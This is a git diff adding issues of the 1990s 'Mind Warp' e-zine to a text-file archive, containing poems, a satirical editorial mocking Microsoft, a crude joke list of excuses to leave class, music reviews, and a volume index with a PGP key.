%%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #04, File #84 ] + [ Warp, Mind - by Mustaine ] + +------------------------------------------------------------------------------ + Warp, Mind + [mustaine] +------------------------------------------------------------------------------ + + + .. as defined by Random House of Useless Knowledge College .. + +WARP!, MIND : A) a state of emotion, usually evoked after reading articles + of utter blatent talent, wherin the mind is elevated to a + level of being far past the usual bounds of normality + B) that funky-fresh feeling inside when you read how bad + Mustaine dissed your sorry ass in his editorial + C) the state of oneness found when realizing that god is + real, god has a cute butt, god digs Smurfs, and his name + is Mustaine! + D) the feeling of utter elation found throughout your body + when you realize just how luck you are NOT to live in + Texas. + E) that relly cool side effect that one gets from using way + too much X-men chapstick + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-085.txt b/textfiles.com/magazines/MINDWARP/mw-085.txt new file mode 100644 index 00000000..a484a213 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-085.txt @@ -0,0 +1,51 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #05, File #85 ] + [ This Indiana Night - by Chris ] + +------------------------------------------------------------------------------ + This Indiana Night + [Chris] +------------------------------------------------------------------------------ + +THIS INDIANA NIGHT + + +Indiana nights are like coffee beans; +everything is dry until the water percolates down. +But there is more to an Indiana night +than a mug of caffeinated liquid. +There's a chance something may happen this Indiana night. + +Each cloud changes in gradient from a pure white; +a contrast of grays mounted on a blue canvas. +Points of view are misty, but still visible +as the moon beams like a pinwheel of spirals. +There's a chance something may happen this Indiana night. + +All the smiles on the children's faces turn to frowns; +they know what is to come as mothers holler. +A cow, as a breeze rustles the corn stalks, +lays on its side to give birth to her calf. +There's a chance something may happen this Indiana night. + +As the rain begins to fall in installments, I cry too; +each dark cloud comforts my lost affection. +I extend my trembling hand to the heavens for help +but it roars and spits, as if my dedication was not true. +Something happened this Indiana night. + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-086.txt b/textfiles.com/magazines/MINDWARP/mw-086.txt new file mode 100644 index 00000000..c1b15198 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-086.txt @@ -0,0 +1,73 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #06, File #86 ] + [ Editorial #2 - by Mustaine ] + +------------------------------------------------------------------------------ + Editorial #2 + [mustaine] +------------------------------------------------------------------------------ + + Have any of you out there who have cable noticed the plethora of +"MickeySloth" commercials? I use the word "MickeySloth" to avoid any +possible repercussions. I of course mean M_cr_s_ft. Fill in the vowels you +inbreds. + Where do you want to go today? Gee, I don't know. If I am watching +correctly, I want to go out to the store, and buy computer sotfware from the +worlds current leader in computer software. At this rate, and by the look of +that new kick ass Internet Browser, with that M_cr_s_ft NetMeeting program, +I forsee a future with blinking windows in it. Imagine this... + +------------------------------------------------------------------------------ + Transmission - zeta.beta.system.20001.the.far.side.cult!.com + Date - 08.01.2079 (Eath Standard Timekeeping) + Time - 12:00:00 (Earth Military Standard Timekeeping) + + Dear President Gates Jr, + + We here on zeta beta wish to thank your for your wonderful + "free" beta software of the new Windows 9000. A wondeful program, + we see much potential. However, our goverment has decided not to + invest in your future for a few simple reasons. After installing, + the Universal McAfee Remover identified your software as "the worst + thing since the Bubonic plauge", and then proceeded to flip out + when Windows pitched a "Out of Memory" error when it couldn't get + rid of the UMR Virus Program. Furthermore, when the install was + complete, the program attempted to send our very confidential list + of names, dates, military secrets, and not to mention our coveted + centerfold .jpeg images from the UniversalBoy Magazines we scanned in + last week THROUGH AN UNSECURED 800 NUMBER. What were you thinking? + Do you think we here in zeta beta were gonna fall for that "we + kick ass, we make all the software in the world, trust in us, and we + will take YOU where you want to go today" mentality? Not to mention + that crappy attempt to send all our secrets over a 1-800 line? We + don't use telephones here Mr. Gates. At least research before you + try to dominate our world. This ain't earth buddy, and we don't + really care where the f*ck you want to go today. Go somewhere else, + and take your sh*tty little programs with you. +------------------------------------------------------------------------------ + + Scarey, isin't it? Well, we all know that unnamed company is very +successful. And, to tell the truth, I have registered my copy of 95, +Plus, and Professional Office. Hell, I even log onto their internet site to +download all the freebees. Conform, I say. My question is this. Should one +company run everything..dictate everything...our computers do? With no +variety, we live in a small, unchanging world. A MickeySloth world. I for +one, am tired of blinking windows. Can't we do better? WE ARE THE COUNTRY +that INVENTED HO-HO's, TWINKEE's, and Captain Crunch for GOD's SAKE! Listen, +think, learn. + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-087.txt b/textfiles.com/magazines/MINDWARP/mw-087.txt new file mode 100644 index 00000000..fe03c731 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-087.txt @@ -0,0 +1,58 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #07, File #87 ] + [ Watching the Clouds - by Chris ] + +------------------------------------------------------------------------------ + Watching the Clouds + [Chris] +------------------------------------------------------------------------------ + +WATCHING THE CLOUDS + + +people always ask me who I am +and I tell them I'm not a prophet of Uncle Sam +they never guessed I was, never thought such +but don't you dream? - oh, not very much +for if I dreamt of all I didn't possess +then what I would really have would be less + +well, can you direct us the way out +I cannot, I say, even though I need not shout +well, can you speak a few words of wisdom +I say I shouldn't, for that minister will someday come +they walk away, in a trance of solemn despair, from here +oh sad souls, why did you come to me with your fear + +for I'm just watching the clouds go by +hoping that rain will fall from the sky +and maybe tomorrow a new group will approach me +but I still won't be able to set them free + +I couldn't let them go without at least some preaching +I told them that to get ahead you must grab instead of reaching +they seemed to understand, but how can one be sure +and a sweet young girl asked me if heaven was pure +I said, my dear, I am not one to predict the Fate of the dead +she seemed satisfied, as they all did, at what I had said + +but I'm just watching the clouds go by +hoping that rain will fall from the sky +and maybe tomorrow a new group will approach me +yet I still won't be able to set them free + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-088.txt b/textfiles.com/magazines/MINDWARP/mw-088.txt new file mode 100644 index 00000000..6e6c867d --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-088.txt @@ -0,0 +1,66 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #08, File #88 ] + [ Four Essential Questions - by Chris ] + +------------------------------------------------------------------------------ + Four Essential Questions + [Chris] +------------------------------------------------------------------------------ + +FOUR ESSENTIALS QUESTIONS + +I. How can I believe in religion is I know not what God is? + +Just a moment ago, I thought I was visited by God +but he betrayed me, so to Hell with prophets. + +Oh Satan, I have sinned with pride and joy +as I took a bite from the fruit of the apple tree +and disgraced the obscenity of gratitude. + +II. How can I believe in technology when I know not what politics are? + +Light bulbs are twisted from their fixtures +for broken glass resembles a crystal prism +that light can no longer shine through. + +Cable cords and telephone wires +stretch all the dismal distances +that are apart at the seams. + +III. How can I believe in this if I know not what that is? + +Nature is nature and soil is soil +while grass is grass and a rose is a thorn. + +Everything is everything and nothing is nothing +while the sun only shines at the stroke of midnight. + +IV. How can I believe in myself when I know not who I am? + +Conceited beliefs and self-sufficing means +make me more stable among the fallen +as those on a pedestal know not at all +where their angry thoughts border. + +When all I can see is my reflection, +in the shadow of a street light, +I feel something that's a novelty +and maybe it's just my hand on my face. + + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-089.txt b/textfiles.com/magazines/MINDWARP/mw-089.txt new file mode 100644 index 00000000..0af6b2c4 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-089.txt @@ -0,0 +1,63 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #09, File #89 ] + [ Excuses to Get Out of Class - by Raven ] + +------------------------------------------------------------------------------ + Excuses to Get Out of Class + [raven] +------------------------------------------------------------------------------ + + What? Another stupid list of ideas? Yup, this time, I've got +idiotic excuses to get out of class (many of which I have tried, some of +which actually worked...). Enjoy. + +1) "I'm having female problems." (works for guys, too) + +2) "I think I'm having a flashback, 'cause there's this ugly demon sitting + at my desk, and I'm scared. Can I go to the Substance Abuse Counselor?" + +3) "I just got through 'talking' to my girlfriend, and now I've got blue + balls, can I go to the bathroom to (ahem) fix this?" + +4) "Can I go to my counselor to see about changing classes? The chick who + sits in front of me is giving me wood, and I'm much too well hung for it + to go un-noticed." + +5) "Can I go to the bathroom? I forgot to wipe..." + +6) "I just smoked a fat blunt, can I go to the nurse for eye drops?" + +7) "I just smoked a gram of crack, GIMME A PASS, BITCH!" + +8) "I need to go ask my health teacher where I can purchase extra-large + condoms at.." + +9) "I need to go ask my health teacher where I can purchase petite condoms + at.." + +10) Put your hand over your mouth, inflate your cheeks, and run out of class + like you're gonna spew. Don't forget gagging noises. Go back to class + ten minutes later, apologize, and ask for a pass to the nurse. + +If all else fails, play the race card: + +"You won't gimme a pass because I'm (fill in ethnic backgroud here)! I'm + gonna sue!" + +raven(69) + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-090.txt b/textfiles.com/magazines/MINDWARP/mw-090.txt new file mode 100644 index 00000000..6e2f8fb5 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-090.txt @@ -0,0 +1,136 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #10, File #90 ] + [ Whimsical Theories - by Chris ] + +------------------------------------------------------------------------------ + Whimsical Theories + [Chris] +------------------------------------------------------------------------------ + +WHIMSICAL THEORIES +Ode To Lee Robinson + + +grabbing a flag to wave +even if we lose. + +if the holy one returns, +don't expect to see me +on my knees. + +love is an anger [ Editor's Note. ] +that can only be seen [ I didn't feel like ] +when one stops to reflect [ centering it. ] +on their happiness. [ -- Mustaine ] + +what constitutes legality +in matters such as +heresy and homosexuality? + +opposing frugality +for I like to waste my words +as if they were apparitions. + +are you the hunted +or the hunter +for only the stars in the sky +can guide the foolish. + +lollipop critics +and chocolate demons +wrap their tongues +around selfish hopes. + +numb fingers +heal the wind +of a solar fire. + +queens of ancient realms +were never allowed +into the monasteries +because they were too scared +to see naked men. + +she's looking good, +even in age, +but I still refrain +from speaking to her. + +untying my shoes +and handing them +to the homeless man +on the corner +for I'm sure he needs them +more than I. + +looking skyward, +I cannot ask for help +to something I do not see, +so I look down. + +stained and jagged +are the cobblestones +under my fee, +so I bless them +with the honor +of my footsteps. + +unopened envelopes +seem to pile at my feet +as I forfeit my money. + +disembodied souls +lie on the ground +as men lead them to chambers +and they never come out. + +what more is the sun +than a ball of gas +and what more is the earth +than a ball of rocks? + +ever notice that sometimes +there's no structure at all +but somehow we understand +the complexities +and the simplicities +of things that are either +made-up or based on facts. + +me head is spinning +and being tossed around +I am slipping, +falling, +aching to be let go +and I fall on the floor +and no one laughs. + +hues of disgrace fill my eyes +and I can no longer see +why I twisted things around +to benefit the torture +I put myself through +so I stand up, +walk towards the picture +and a hand reaches out for mine. + +I was trembling so much +that I had to falter, +I had to retire in solitude. + + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-091.txt b/textfiles.com/magazines/MINDWARP/mw-091.txt new file mode 100644 index 00000000..1eca675e --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-091.txt @@ -0,0 +1,89 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #11, File #91 ] + [ To Save a Maiden - by Chris ] + +------------------------------------------------------------------------------ + To Save a Maiden + [Chris] +------------------------------------------------------------------------------ + + [ Editor's Note. I didn't feel like centering this one either. ] + [ Is this guy twisted or WHAT? Well...I think so at least. ] + + + +TO SAVE A MAIDEN: AN ELECTRIFYING EPIC + + +In the land of the grapes, long ago, +lived a ferocious being, +upon a grassy meadow. + +Of great stature he was, +comparable to none, +hated by men and feared by the opposite. + +He stormed the ground, +so people called him Ewing, +onto the lands of the fairies, mermaids, and goddesses. + +A fixture on one, +the innocent Gwendolyn disappeared, +a powerful goddess of fair complexion and honey locks. + +Her dictations were of no use, +yet she showed no fear +as the hazel-eyed monster forced her into wedlock. + +Suddenly, from Olympus on high, +there came a streak of yellow, quite glowing, +it out-shined the dull atmosphere. + +As it hit, a spark arose to create such a sight +and there before all stood the wondrous, +the magnificent . . . Ed. + +A gallant warrior on his buoyant clipper +to save the voluptuous one from her captive state. + +He traveled the blue sea +fighting all hazards in his way +as a sea dragon and a massive whale were of no competition. + +He unsheathed a mighty weapon of legend, a honed saber, +to poke the awesome pair in the gullet region, +an unfit death. + +He ventured on to meet up with the worthy opponent, +of which he knew was of grandeur and quickness. + +With his incisors drooling, +Ewing grasped the guerrilla, +yet the confrontation lasted only a moment. + +All through his body he felt a tingling sensation, +a current of voltage ran through the beast's form. + +He let the eel-like man go +and tried to seize his life instead, +but the glazing stare of Ed made a corpse of he. + +Onto his yacht the couple strolled, +to return to safer plains, +to live until death, as so states their religions vows. + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-092.txt b/textfiles.com/magazines/MINDWARP/mw-092.txt new file mode 100644 index 00000000..14360d4f --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-092.txt @@ -0,0 +1,124 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #12, File #92 ] + [ Music Review #9 - by Mustaine ] + +------------------------------------------------------------------------------ + Music Review #9 + [Mustaine] +------------------------------------------------------------------------------ + + Mustaine's Music Scale + (revised 06/15/96) + + 0) Sucks!!! 6) Gettin' there... + 1) Bites!!! 7) Kewl..sorta + 2) Eww!!! 8) Yo! I can dig this stuff! + 3) Crap!!! 9) Woo! Play some more... + 4) Blah, Blah... 10) Incredibly Spiffy! + 5) Not half bad, but crap.. 11) Has to be by Dream Theater? + NR) FUnky!..but no rating possible. + + Alrighty then. My second installment in this issue of the zine. +Let's see...incoming Stabbing Westward, Candlebox, and Weird "Al." I lied +about the Dream Theater and Enya. We'll get to them someday...reviewing +like 4 Dream Theater albums would just take too damn long. + + ----------------------------------------------------------------------- + +Band #1 +Name : Candlebox +Album : Lucy +Info. : When the bomb dropped on Pearl Harbor, this album should have been + visiting. Although the debut album by Candlebox kicked Monkey + Balls, this one sucks them. And I don't mean those silly little + testes baby, I'm talking large, milky, hairy, monkey balls. You + might as well turn the album OFF after the first song...which isin't + even that great. Don't buy it...unless your a cult fan. + + 1) Simple Lessons (8) + 2) Drowned (3) + 3) Lucy (3) + 4) Best Friend (2) + 5) Become (To Tell) (3) + 6) Understanding (4) + 7) Crooked Halo (3) + 8) Bothered (2) + 9) Butterfly (5) + 10) It's Amazing (2) + 11) Vulgar Before Me (3) + 12) Butterfly (Reprise) (2) + + A reprise??? Who do they think they are? SEAL? Ugh. + + +Band #2 +Name : Stabbing Westward +Album : Wither Blister Burn + Peel +Info. : I do believe they debuted in my little music thang a while ago with + their first album. I do believe that album rocked. WOO. They're + back. Ok, so the album isin't as + quite cutting edge as the first...and well..they still are singing + about how women always screw them, and they can never keep them, + and they never, ever get laid. Oh well. They're still cool dammit. + Yeah, the radio plays them now..(Although why they play this album + and not the first is beyond MY comprehension)..so I guess they are + mainstream. Welcome to mainstream boyz...you need to get laid. + + + 1) I Don't Believe (9) + 2) Shame (8) + 3) What Do I Have To Do? (9) + 4) Why (7) + 5) Inside You (8) + 6) Falls Apart (9) + 7) So Wrong (8) + 8) Crushing Me (9) + 9) Sleep (7) + 10) Slipping Away (8) + +Band #3 +Name : "Weird Al" Yankovic +Album : bad hair day +Info. : Um. Yeah. Well, ok. Twisted, yet funny, yet not bad music. + End of Commentary, you amish loving dweezels. + + Sike! He covers songs, only twists them to major funny. That + f*cking lame rap song by Coolio is now "Amish Paradise." Hmm... + doesn't complain about opression and all that crap, and is + mildly entertaining...I'd say about 3 steps up from the original. + U2's Hold me, thrill me song is turned into "Cavity Search." + Very amusing.. "The Alternative polka" will have you jammin to + such greats as Trent Reznor... and "Gump", a parady of that + "President of the USA" band's song...will have you and your + box of chocholates on the floor. It's a definite buy! + + + 1) Amish Paradise (NR) + 2) Everything You Know is Wrong (5) + 3) Cavity Search (NR) + 4) Callin In Sick (7) + 5) The Alternative Polka (NR) + 6) Since You've Been Gone (7) + 7) Gump (NR) + 8) I'm So Sick Of You (6) + 9) Syndicated Inc. (NR) + 10) I Remember Larry (5) + 11) Phony Calls (NR) + 12) The Night Santa Went Crazy (7) + + +============================================================================== + E-Mail mustaine@wam.umd.edu to become a distributor! +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-093.txt b/textfiles.com/magazines/MINDWARP/mw-093.txt new file mode 100644 index 00000000..5fb0f5a6 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-093.txt @@ -0,0 +1,245 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #6, Issue #13, File #093 ] + [ "Mind Warp! Index #7" by Mustaine ] + +------------------------------------------------------------------------------ + Mind Warp! Index #7 + [mustaine] +------------------------------------------------------------------------------ + + Howdy Ho, my cyber-neighbors. I must admit, this volume has to be +better than the last. Why? Well, we got a new poet, with some decent +material. I even came through with two music reviews, as promised. Raven +submitted a real good article, (when has he ever NOT???), and he even came +through with a new frames format for the web page, and a real swell Mind +Warp Logo. Check it out! Anyways, we still need more writers, so e-mail me +with your stuff, and unless it's horrible, I'll put it in. + + BTW- Yes, the Mind Warp tee-shirts are still available. You order +them, then Slarti makes them. He's going to Europe for the summer, so get +those orders in soon. Oh, and the Influnza Inc. Tee's are sold out. Since +I can't make a profit off my homepage, please e-mail me about the tee's. + +Credits: +('!' denotes that they wrote for this volume, '*' denotes that they're a new + writer and have written for this volume (obviously)) +------------------------------------------------------------------------------ + [!] Raven : Writer / Editor / Hemp GOD + [ ] Catwoman : Writer / Editor / Proofreader + [!] Mustaine : Writer / Editor / (wierd) k-rad d00d + [ ] Dark Horse : Writer (Poet) / Editor + [ ] Buckwheat : Writer (O-TAY!) + [ ] Deker : Writer (Poet) + [ ] Slartibartfast : Writer (whoa) + [ ] Angst : Writer (in blue) + [ ] Killer Wombat : Writer (freak) + [ ] Javert (PRiDE) : Writer (Poet) + [ ] Squid : Writer (Poet) + [ ] Ninja-Man Bob : Writer (Critic) + [*] (Chris)topher Stolle : Writer (Poet) + +------------------------------------------------------------------------------ + + +Index: ( '*' Indicates that the file is new to this Volume ) +------------------------------------------------------------------------------ +Filename Topic/Title Author Volume Issue Filesize +------------------------------------------------------------------------------ +MW!-000.TXT "Introduction to Mind Warp!" Raven #0 #0 2.5k +MW!-001.TXT "Disturbing Thoughts" Raven #0 #1 6.9k +MW!-002.TXT "Untitled Poem" Mustaine #0 #2 2.6k +MW!-003.TXT "School Phun #1" Raven #0 #3 7.1k +MW!-004.TXT "Music Review: #1" Mustaine #0 #4 4.9k +MW!-005.TXT "Technology: The Man.." Raven #0 #5 4.1k +MW!-006.TXT "Music Review: #2" Mustaine #0 #6 5.7k +MW!-007.TXT "Cruelty to Animals" Raven #0 #7 4.3k +MW!-008.TXT "Network Hacking #1/2" Mustaine #0 #8 22.0k +MW!-009.TXT "Network Hacking #2/2" Mustaine #0 #9 10.2k +MW!-010.TXT "Mind Warp! Index #1" Raven #0 #10 4.7k +MW!-011.TXT "Phone Death" Raven #1 #0 6.7k +MW!-012.TXT "STUPIDRV.EXE" Mustaine #1 #1 13.1k +MW!-013.TXT "Class Voting" Raven/Catwoman #1 #2 2.9k +MW!-014.TXT "Music Review: #3" Mustaine #1 #3 8.7k +MW!-015.TXT "Misc. Poetry" Dark Horse #1 #4 4.8k +MW!-016.TXT "Editorial" Mustaine #1 #5 4.4k +MW!-017.TXT "A NEW Crime Bill" Raven #1 #6 5.1k +MW!-018.TXT "Kids...They Suck." Mustaine #1 #7 6.2k +MW!-019.TXT "Untitled Poem" Dark Horse #1 #8 2.2k +MW!-020.TXT "Phun with Snot" Mustaine #1 #9 5.4k +MW!-021.TXT "The World's Suckiest Jobs" Catwoman/Raven #1 #10 3.6k +MW!-022.TXT "Philosophical Wonderings" Buckwheat #1 #11 4.5k +MW!-023.TXT "Lion King Review" Mustaine #1 #12 4.5k +MW!-024.TXT "Summer" Buckwheat #1 #13 2.9k +MW!-025.TXT "Music Review: #4" Mustaine #1 #14 6.6k +MW!-026.TXT "Mind Warp! Index #2" Raven #1 #15 7.9k +MW!-027.TXT "The BLOND Virus" Mustaine #2 #0 4.0k +MW!-028.TXT "Lighter Tricks" Raven #2 #1 5.3k +MW!-029.TXT "Driving Grievances" Slartibartfast #2 #2 2.9k +MW!-030.TXT "Untitled Poem" Deker #2 #3 2.8k +MW!-031.TXT "Letter to Bozak" Mustaine #2 #4 3.3k +MW!-032.TXT "Race" Slartibartfast #2 #5 3.4k +MW!-033.TXT "Wild Walk" >Anonymous< #2 #6 4.8k +MW!-034.TXT "School Phun #2" Raven #2 #7 6.4k +MW!-035.TXT "The DAVE Continuum" Slartibartfast #2 #8 3.3k +MW!-036.TXT "Misc. Poetry" Mustaine #2 #9 4.5k +MW!-037.TXT "Labels Galore" Raven #2 #10 4.3k +MW!-038.TXT "Untitled Poem (#2)" Deker #2 #11 1.9k +MW!-039.TXT "What happened to Musty?!" Mustaine #2 #12 3.4k +MW!-040.TXT "Mind Warp! Index #3" Raven #2 #13 10.0k +MW!-041.TXT "Music Review: #5" Mustaine #3 #0 6.9k +MW!-042.TXT "wop wop" Angst #3 #1 5.8k +MW!-043.TXT "Musty's College Thang" Mustaine #3 #2 12.0k +MW!-044.TXT "Rock the Cradle" Mustaine #3 #3 2.5k +MW!-045.TXT "Stereograms" Raven #3 #4 3.7k +MW!-046.TXT "The Mustaine Continuum" Mustaine #3 #5 4.5k +MW!-047.TXT "..End of the World.." Killer Wombat #3 #6 5.6k +MW!-048.TXT "Music Review: #6" Mustaine #3 #7 5.9k +MW!-049.TXT "Musty Flames People #1" Mustaine #3 #8 7.7k +MW!-050.TXT "X-Men (Poem)" Angst #3 #9 1.9k +MW!-051.TXT "Roomates" Mustaine #3 #10 4.3k +MW!-052.TXT "Top Ten Lists" Mustaine #3 #11 3.7k +MW!-053.TXT "Friends" Mustaine #3 #12 6.2k +MW!-054.TXT "Mind Warp! Index #4" Raven #3 #13 12.6k +MW!-055.TXT "That Wonderful, Awfull.." Dark Horse #4 #0 2.8k +MW!-056.TXT "Sheep & Wool" Pride #4 #1 2.2k +MW!-057.TXT "Poems for Alyson" Dark Horse #4 #2 4.1k +MW!-058.TXT "Music Review: #7" Mustaine #4 #3 8.4k +MW!-059.TXT "Sleazy" Pride #4 #4 2.1k +MW!-060.TXT "Adventures in the Potty" Mustaine #4 #5 8.3k +MW!-061.TXT "OOPS.ZIP" Mustaine #4 #6 7.8k +MW!-062.TXT "Compression Utilities" >Anonymous< #4 #7 5.1k +MW!-063.TXT "Midnight Blues - 1st Solo" Dark Horse #4 #8 7.2k +MW!-064.TXT "Smurfs & Chicks" Various #4 #9 10.1k +MW!-065.TXT "Misc. Poetry" Pride #4 #10 4.3k +MW!-066.TXT "Flame Response" Mustaine #4 #11 4.8k +MW!-067.TXT "Musty Flames People #2" Mustaine #4 #12 5.4k +MW!-068.TXT "Where's Raven?" Mustaine #4 #13 2.9k +MW!-069.TXT "huh 69 huh" >Anonymous< #4 #14 8.7k +MW!-070.TXT "Mind Warp! Index #5" Mustaine #4 #15 13.1k +MW!-071.TXT "What the Hell???" Mustaine #5 #0 3.2k +MW!-072.TXT "American Folk Stories..." Raven #5 #1 4.6k +MW!-073.TXT "Egypt Air 1996" Mustaine #5 #2 4.5k +MW!-074.TXT "New Hangun Application" Raven #5 #3 3.4k +MW!-075.TXT "Music" NMB #5 #4 5.1k +MW!-076.TXT "Squid's Poem" Squid #5 #5 3.2k +MW!-077.TXT "Mind Warp View" Raven #5 #6 15.3k +MW!-078.TXT "Misc. Love Poems" Mustaine #5 #7 2.5k +MW!-079.TXT "Mind Warp! Index #6" Mustaine #5 #8 13.3k +MW!-080.TXT * "Surfing the Night Away" Mustaine #6 #0 5.5k +MW!-081.TXT * "Chronicles of Influenza" Mustaine #6 #1 5.0k +MW!-082.TXT * "Angry Thoughts" Mustaine #6 #2 1.6k +MW!-083.TXT * "Music Review #8" Mustaine #6 #3 6.3k +MW!-084.TXT * "Warp, Mind" Mustaine #6 #4 2.1k +MW!-085.TXT * "This Indiana Night" Chris #6 #5 2.2k +MW!-086.TXT * "Editorial #2" Mustaine #6 #6 4.4k +MW!-087.TXT * "Watching the Clouds" Chris #6 #7 2.5k +MW!-088.TXT * "Four Essential Questions" Chris #6 #8 2.5k +MW!-089.TXT * "Excuses to Get Out of.." Raven #6 #9 2.7k +MW!-090.TXT * "Whimsical Theories" Chris #6 #10 3.4k +MW!-091.TXT * "To Save a Maiden" Chris #6 #11 3.1k +MW!-092.TXT * "Music Review #9" Mustaine #6 #12 6.2k +MW!-093.TXT * "Mind Warp! Index #7" Mustaine #6 #13 ?.?k + +------------------------------------------------------------------------------ + +Submitting a File: + Please feel free to submit anything you can. We are always greatful +for your work, and we publish most anything! Send your files to one +of the addresses below, or call one of the BBSs below, and upload it there. + + The following *was* the Mind Warp! PGP key. It isn't required that +you encrypt your mail or your submissions, but it would be greatly appreciated +if you would encrypt all submissions, and if possible encrypt any other mail, +even if it's not an important piece of mail, it's still nice to show support +for public encryption (Die, Clipper Chip, DIE!). + +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: 2.5 + +mQBtAi4Ez5EAAAEDAKjwhkGmSpWun8GDK2c3+VFfQrYzufsWo9q8ARuQyz2wj1Ub +RygEgk8j3lJMBto8rQ1H5aCLK8gFW+4n5Vx+7SvGyu+xxM2mOWuLm2oruF8P8fbk +aDUQwF+Lbts+ubkRiQAFEbQKTWluZCBXYXJwIQ== +=CGZF +-----END PGP PUBLIC KEY BLOCK----- + +(* We lost PGP, look for a new key to come soon *) + +Mind Warp! FTP/GOPHER/WWW Sites!: +------------------------------------------------------------------------------ + FTP : etext.archive.umich.edu /pub/Zines/Mindwarp + Gopher : //locust.cic.net/11/Zines/Mindwarp + 